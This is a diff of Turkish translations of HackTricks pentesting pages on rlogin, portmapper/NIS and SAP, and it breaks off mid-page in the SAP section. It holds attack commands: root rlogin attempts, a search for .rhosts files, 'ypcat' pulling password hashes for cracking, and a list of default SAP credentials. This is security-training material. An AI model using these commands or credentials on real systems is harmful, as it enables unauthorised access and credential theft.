* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,22 +1,27 @@
# 513 - Rlogin Pentest
# 513 - Rlogin Pentesting
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong> öğrenin<strong>!</strong></summary>
<summary><strong>AWS hackleme konusunu sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Temel Bilgiler
Geçmişte, **rlogin** uzaktan yönetim görevleri için yaygın olarak kullanılıyordu. Ancak, güvenlik endişeleri nedeniyle büyük ölçüde **slogin** ve **ssh** tarafından yerini almıştır. Bu yeni yöntemler, uzaktan bağlantılar için gelişmiş güvenlik sağlar.
Geçmişte, **rlogin** uzaktan yönetim görevleri için geniş ölçüde kullanılmıştır. Ancak güvenlik endişeleri nedeniyle, genellikle **slogin** ve **ssh** ile değiştirilmiştir. Bu daha yeni yöntemler uzaktan bağlantılar için gelişmiş güvenlik sağlar.
**Varsayılan port:** 513
```
@ -28,30 +33,35 @@ PORT STATE SERVICE
# Install client
apt-get install rsh-client
```
Aşağıdaki komutu kullanarak, erişim için **şifre gerektirmeyen** bir uzak ana bilgisayara **giriş** yapmayı deneyebilirsiniz. Kullanıcı adı olarak **root** kullanmayı deneyin:
Aşağıdaki komutu kullanarak, erişim için şifre gerekmeyen uzak bir ana bilgisayara **root** kullanıcı adını deneyin:
```bash
rlogin -l root <uzak_host_adı>
rlogin -l root <target_ip>
```
```bash
rlogin <IP> -l <username>
```
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rlogin)
### [Kaba kuvvet](../generic-methodologies-and-resources/brute-force.md#rlogin)
## Dosya bulma
## Dosyaları Bulma
```
find / -name .rhosts
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,21 +2,26 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Temel Bilgiler
**Portmapper**, ağ hizmeti bağlantı noktalarını **RPC** (Uzak Prosedür Çağrısı) program numaralarına eşleme amacıyla kullanılan bir hizmettir. Bu, **Unix tabanlı sistemlerde** bilgi alışverişini kolaylaştıran kritik bir bileşen olarak işlev görür. **Portmapper** ile ilişkilendirilen **port**, değerli bilgileri ortaya çıkarabileceği için saldırganlar tarafından sık sık taranır. Bu bilgiler, çalışan **Unix İşletim Sistemi (OS)** türünü ve sistemde mevcut olan hizmetler hakkında detayları içerir. Ayrıca, **Portmapper** genellikle **NFS (Ağ Dosya Sistemi)**, **NIS (Ağ Bilgi Servisi)** ve diğer **RPC tabanlı hizmetlerle** birlikte kullanılarak ağ hizmetlerini etkili bir şekilde yönetmek için kullanılır.
**Portmapper**, ağ hizmeti bağlantı noktalarını **RPC** (Uzak Prosedür Çağrısı) program numaralarına eşlemede kullanılan bir hizmettir. Bu, **Unix tabanlı sistemlerde** bilgi alışverişini kolaylaştıran kritik bir bileşen olarak işlev görür. **Portmapper** ile ilişkilendirilen **port**, değerli bilgileri ortaya çıkarabileceği için sık sık saldırganlar tarafından taranır. Bu bilgiler, çalışmakta olan **Unix İşletim Sistemi (OS)** türünü ve sistemde mevcut olan hizmetler hakkında detayları içerir. Ayrıca, **Portmapper** genellikle **NFS (Ağ Dosya Sistemi)**, **NIS (Ağ Bilgi Servisi)** ve diğer **RPC tabanlı hizmetler** ile birlikte kullanılarak ağ hizmetlerini etkili bir şekilde yönetmek için kullanılır.
**Varsayılan port:** 111/TCP/UDP, Oracle Solaris'te 32771
```
@ -30,7 +35,7 @@ nmap -sSUC -p111 192.168.10.1
```
### RPCBind + NFS
Eğer NFS servisini bulursanız, muhtemelen dosyaları listelemek ve indirmek (ve belki yükleme) mümkün olacaktır:
Eğer NFS servisini bulursanız, muhtemelen dosyaları listeleme ve indirme (ve belki yükleme) yeteneğine sahip olacaksınız:
![](<../.gitbook/assets/image (869).png>)
@ -38,13 +43,13 @@ Eğer NFS servisini bulursanız, muhtemelen dosyaları listelemek ve indirmek (v
## NIS
**NIS** zafiyetlerini keşfetmek, `ypbind` servisinin tanımlanmasıyla başlayan iki adımlı bir süreci içerir. Bu keşif sürecinin temelini oluşturan şey, **NIS alan adının** ortaya çıkarılmasıdır; aksi takdirde ilerleme durur.
**NIS** zafiyetlerini keşfetmek, `ypbind` servisinin tanımlanmasıyla başlayan iki adımlı bir süreci içerir. Bu keşif sürecinin temel noktası, **NIS alan adının** ortaya çıkarılmasıdır; aksi takdirde ilerleme durur.
![](<../.gitbook/assets/image (856).png>)
Keşif yolculuğu, gerekli paketlerin kurulumuyla başlar (`apt-get install nis`). Ardışık adım, güvenlik için bu unsurların anonimleştirilmesiyle NIS sunucusunun varlığını doğrulamak için alan adı ve sunucu IP'si ile ona ping atarak `ypwhich` kullanmaktır.
Keşif yolculuğu, gerekli paketlerin kurulumuyla başlar (`apt-get install nis`). Ardışık adım, güvenlik için bu unsurların anonimleştirilmesiyle NIS sunucusunun varlığını doğrulamak için alan adı ve sunucu IP'sini kullanarak ona ping atarak `ypwhich` kullanmaktır.
Son ve kritik adım, hassas verileri çıkarmak için `ypcat` komutunu içerir, özellikle şifrelenmiş kullanıcı parolalarını. Bu hash'ler, **John the Ripper** gibi araçlar kullanılarak kırıldığında, sistem erişimi ve ayrıcalıkları hakkında içgörüler sunar.
Son ve kritik adım, hassas verileri çıkarmak için `ypcat` komutunu kullanmaktır, özellikle şifrelenmiş kullanıcı parolaları. Bu hash'ler, **John the Ripper** gibi araçlar kullanılarak kırıldığında, sistem erişimi ve ayrıcalıkları hakkında içgörüler sunar.
```bash
# Install NIS tools
apt-get install nis
@ -57,10 +62,10 @@ ypcat d <domain-name> h <server-ip> passwd.byname
| **Ana dosya** | **Harita(lar)** | **Notlar** |
| ---------------- | --------------------------- | --------------------------------- |
| /etc/hosts | hosts.byname, hosts.byaddr | Host adlarını ve IP detaylarını içerir |
| /etc/hosts | hosts.byname, hosts.byaddr | Host adlarını ve IP ayrıntılarını içerir |
| /etc/passwd | passwd.byname, passwd.byuid | NIS kullanıcı şifre dosyası |
| /etc/group | group.byname, group.bygid | NIS grup dosyası |
| /usr/lib/aliases | mail.aliases | Posta takma adları detayları |
| /usr/lib/aliases | mail.aliases | Posta takma adları ayrıntıları |
## RPC Kullanıcıları
@ -68,11 +73,11 @@ Eğer **rusersd** servisini şu şekilde listelenmiş bulursanız:
![](<../.gitbook/assets/image (1038).png>)
Kutunun kullanıcılarını numaralandırabilirsiniz. Nasıl yapılacağını öğrenmek için [1026 - Rsusersd Pentesting](1026-pentesting-rusersd.md) makalesine bakabilirsiniz.
Kutunun kullanıcılarını numaralandırabilirsiniz. Nasıl yapılacağını öğrenmek için [1026 - Rsusersd Pentesting](1026-pentesting-rusersd.md) makalesine bakın.
## Filtrelenmiş Portmapper portunu atlatma
Bir **nmap taraması** yaparken ve port 111'in filtreli olduğunu keşfettiğinizde, bu portların doğrudan istismarı mümkün değildir. Ancak, **yerel olarak bir portmapper servisi simüle ederek ve makinenizden hedefe bir tünel oluşturarak**, standart araçlar kullanarak istismar mümkün hale gelir. Bu teknik, port 111'in filtrelenmiş durumunu atlamayı sağlar, böylece NFS hizmetlerine erişim sağlanabilir. Bu yöntem hakkında detaylı rehber için [bu bağlantıdaki](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) makaleye başvurun.
Bir **nmap taraması** yaparken ve port 111'in filtreli olduğunu keşfettiğinizde, bu portların doğrudan istismarı mümkün değildir. Ancak, **yerel olarak bir portmapper servisi simüle ederek ve makinenizden hedefe bir tünel oluşturarak**, standart araçlar kullanarak istismar mümkün hale gelir. Bu teknik, port 111'in filtreli durumunu atlamayı sağlar, böylece NFS hizmetlerine erişim sağlanabilir. Bu yöntem hakkında detaylı rehberlik için [bu bağlantıdaki](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) makaleye başvurun.
## Shodan
@ -82,6 +87,10 @@ Bir **nmap taraması** yaparken ve port 111'in filtreli olduğunu keşfettiğini
* Bu teknikleri [**Irked HTB makinesinde**](https://app.hackthebox.com/machines/Irked) uygulayın.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## HackTricks Otomatik Komutları
```
Protocol_Name: Portmapper #Protocol Abbreviation if there is one.
@ -108,14 +117,14 @@ Command: nmap -sSUC -p 111 {IP}
```
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>

View file

@ -1,39 +1,43 @@
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# SAP Hakkında Giriş
SAP, Veri İşleme Sistemleri Uygulamaları ve Ürünleri anlamına gelir. SAP, tanım gereği, ERP \(Kurumsal Kaynak Planlaması\) yazılımının adı olduğu gibi, şirketin adıdır.
SAP sistemi, işletme yönetiminin neredeyse her yönünü kapsayan bir dizi tam entegre modülden oluşur.
SAP, Veri İşleme Sistem Uygulamaları ve Ürünleri anlamına gelir. SAP, tanım gereği ERP \(Kurumsal Kaynak Planlama\) yazılımının adı olduğu gibi şirketin adıdır.
SAP sistemi, neredeyse işletme yönetiminin her yönünü kapsayan bir dizi tam entegre modülden oluşur.
Her SAP örneği \(veya SID\), veritabanı, uygulama ve sunum olmak üzere üç katmandan oluşur ve her bir peyzaj genellikle dört örneği içerir: geliştirme, test, QA ve üretim.
Her katmanın bir dereceye kadar istismar edilebilir, ancak en etkili sonuç **veritabanına saldırarak** elde edilebilir.
Her SAP örneği \(veya SID\), üç katmandan oluşur: veritabanı, uygulama ve sunum\), her peyzaj genellikle dört örneği içerir: geliştirme, test, QA ve üretim.
Her katmanın bazı ölçüde sömürülebileceği bir SAP örneği vardır, ancak en etkili sonuç **veritabanına saldırarak** elde edilebilir.
Her SAP örneği istemcilere ayrılmıştır. Her birinin bir "root" eşdeğeri olan kullanıcı SAP\* vardır.
İlk oluşturulduğunda, bu SAP\* kullanıcısı varsayılan bir şifre alır: "060719992" \(daha fazla varsayılan şifre aşağıda\).
Bu şifrelerin test veya geliştirme ortamlarında ne kadar sık değiştirilmediğini bilseniz şaşırırsınız!
Her SAP örneği, müşterilere bölünmüştür. Her biri, uygulamanın "root" eşdeğeri olan bir kullanıcı SAP\* 'ye sahiptir.
İlk oluşturulduğunda, bu kullanıcı SAP\* varsayılan bir şifre alır: "060719992" \(daha fazla varsayılan şifre aşağıda\).
Şaşırırsınız eğer bu **şifrelerin test veya geliştirme ortamlarında sık sık değiştirilmediğini** bilseydiniz!
Herhangi bir sunucunun kabuğuna erişmeye çalışın, kullanıcı adını kullanarak &lt;SID&gt;adm.
Herhangi bir sunucunun kabuğuna &lt;SID&gt;adm kullanıcı adını kullanarak erişmeye çalışın.
Bruteforcing yardımcı olabilir, ancak Hesap Kilit Mekanizması olabilir.
# Keşif
> Sonraki bölüm çoğunlukla [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) kullanıcısı shipcod3'ten alınmıştır!
> Sonraki bölüm çoğunlukla [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) kullanıcısı shipcod3'ten!
* Test için Uygulama Kapsamı veya Program Özeti'ni kontrol edin. SAP GUI'ye bağlanmak için ana bilgisayar adlarını veya sistem örneklerini not alın.
* Uygulama internete açıksa veya halka açıksa, OSINT \(açık kaynak istihbaratı\), Shodan ve Google Dorks kullanarak dosyaları, alt alanları ve önemli bilgileri kontrol edin:
* Test için Uygulama Kapsamını veya Program Kısa Tanımını kontrol edin. SAP GUI'ye bağlanmak için host adlarını veya sistem örneklerini not alın.
* Uygulama İnternet üzerinden erişilebilir veya genel ise dosyaları, alt alanları ve lezzetli bilgileri kontrol etmek için OSINT \(açık kaynak istihbaratı\), Shodan ve Google Dorks'u kullanın:
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
@ -43,19 +47,19 @@ https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
* İşte [http://sap:50000/irj/portal](http://sap:50000/irj/portal) adresinin görünümü
* İşte [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) nasıl görünüyor
![SAP Giriş Ekranı](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
![SAP Giriş ekranı](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* Açık portları ve bilinen servisleri (sap yönlendiricileri, webdynpro, web servisleri, web sunucuları, vb.) kontrol etmek için nmap kullanın.
* Eğer bir web sunucusu çalışıyorsa, URL'leri tarama yapın.
* Belirli portlarda web sunucuları varsa, dizinleri (Burp Intruder kullanabilirsiniz) fuzzlayın. İşte SecLists Projesi tarafından sağlanan bazı iyi wordlistler, varsayılan SAP ICM Yollarını ve diğer ilginç dizinleri veya dosyaları bulmak için:
* Açık portları ve bilinen servisleri kontrol etmek için nmap kullanın \(sap yönlendiricileri, webdynpro, web servisleri, web sunucuları, vb.\)
* Bir web sunucusu çalışıyorsa URL'leri tara.
* Belirli bağlantı noktalarında web sunucuları varsa dizinleri fuzzlayın \(Burp Intruder'ı kullanabilirsiniz\). İşte varsayılan SAP ICM Yollarını bulmak ve diğer ilginç dizinleri veya dosyaları bulmak için SecLists Projesi tarafından sağlanan bazı iyi kelime listeleri:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
* SAP örneklerini/hizmetlerini/bileşenlerini sıralamak için SAP SERVICE DISCOVERY yardımcı Metasploit modülünü kullanın:
* SAP örnekleri/servisleri/bileşenleri sıralamak için SAP SERVİS KEŞFİ yardımcı Metasploit modülünü kullanın:
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
@ -74,10 +78,10 @@ msf auxiliary(sap_service_discovery) > run
```
## Kalın İstemci / SAP GUI'nin Test Edilmesi
İşte SAP GUI'ye bağlanmak için kullanılan komut:
İşte SAP GUI'ye bağlanmak için kullanılan komut
`sapgui <sap sunucusu ana bilgisayarı> <sistem numarası>`
* Varsayılan kimlik bilgileri kontrol edilir (Bugcrowd'un Zafiyet Derecelendirme Taksonomisine göre, bu P1 olarak kabul edilir -> Sunucu Güvenlik Yanlış Yapılandırması \| Varsayılan Kimlik Bilgilerinin Kullanılması \| Üretim Sunucusu):
* Varsayılan kimlik bilgileri kontrol edin \(Bugcrowd'un Zayıflık Derecelendirme Taksonomisine göre, bu P1 olarak kabul edilir -&gt; Sunucu Güvenlik Yanlı Yapılandırması \| Varsayılan Kimlik Bilgilerinin Kullanımı \| Üretim Sunucusu\):
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
@ -128,34 +132,34 @@ SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* Wireshark'ı çalıştırın ve SAP GUI istemcisine kimlik bilgilerini kullanarak kimlik doğrulaması yapın çünkü bazı istemciler SSL olmadan kimlik bilgilerini iletebilir. SAP DIAG protokolü tarafından kullanılan ana başlıkları analiz edebilen iki bilinen Wireshark eklentisi vardır: SecureAuth Labs SAP dissection plug-in ve Positive Research Center tarafından geliştirilen SAP DIAG eklentisi.
* Wireshark'ı çalıştırın ve bazı istemci (SAP GUI) kimlik bilgilerini SSL olmadan ilettiği için aldığınız kimlik bilgileriyle kimlik doğrulaması yapın. SAP DIAG protokolü tarafından kullanılan ana başlıkları ayırabilen iki bilinen Wireshark eklentisi vardır: SecureAuth Labs SAP ayrıştırma eklentisi ve Positive Research Center tarafından geliştirilen SAP DIAG eklentisi.
* Düşük ayrıcalıklı kullanıcılar için bazı SAP İşlem Kodları (tcodes) kullanarak ayrıcalık yükseltmelerini kontrol edin:
* SU01 - Kullanıcıları oluşturmak ve yönetmek için
* SU01 - Kullanıcıları oluşturmak ve bakımını yapmak için
* SU01D - Kullanıcıları Görüntülemek için
* SU10 - Toplu bakım için
* SU02 - Profilin el ile oluşturulması için
* SU02 - Profil oluşturmak için manuel olarak
* SM19 - Güvenlik denetimi - yapılandırma
* SE84 - SAP R/3 Yetkilendirmeleri için Bilgi Sistemi
* İstemcide sistem komutlarını yürütebilir veya komut dosyalarını çalıştırabilir misiniz kontrol edin.
* İstemcide sistem komutlarını yürütebilir / betik çalıştırabilir mi kontrol edin.
* BAPI Explorer üzerinde XSS yapabilir misiniz kontrol edin.
# Web arayüzünü test etme
* URL'leri tarama (keşif aşamasında olduğu gibi).
* URL'leri keşif aşamasında olduğu gibi fuzzlayın. İşte [http://SAP:50000/index.html](http://sap:50000/index.html) adresindeki görüntü:
* URL'leri tarama (keşif aşamasına bakın).
* Keşif aşamasındaki gibi URL'leri fuzzlayın. İşte [http://SAP:50000/index.html](http://sap:50000/index.html) adresinin görünümü:
![SAP Index Sayfası](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* Bazı yerlerde XSS, RCE, XXE vb. zafiyetler olduğu için yaygın web zafiyetlerini kontrol edin (OWASP Top 10'a bakın).
* Web zafiyetlerini test etmek için Jason Haddix'in [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) adlı kaynağına bakın.
* Auth Bypass via verb Tampering? Belki de :)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` adresini açın, ardından "Choose" düğmesine tıklayın ve açılan pencerede "Search" düğmesine basın. SAP kullanıcılarının bir listesini görebilmelisiniz (Zafiyet Referansı: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
* Kimlik bilgileri HTTP üzerinden mi gönderiliyor? Eğer öyleyse, Bugcrowd'un [Zafiyet Derecelendirme Taksonomisi](https://bugcrowd.com/vulnerability-rating-taxonomy)'ne göre P3 olarak kabul edilir: Kırık Kimlik Doğrulama ve Oturum Yönetimi \| Zayıf Giriş İşlevi HTTP Üzerinden. İpucu: [http://SAP:50000/startPage](http://sap:50000/startPage) veya giriş portallarına da bakın :)
* Bazı yerlerde XSS, RCE, XXE vb. zafiyetler olduğundan OWASP Top 10'a başvurarak yaygın web zafiyetlerini kontrol edin.
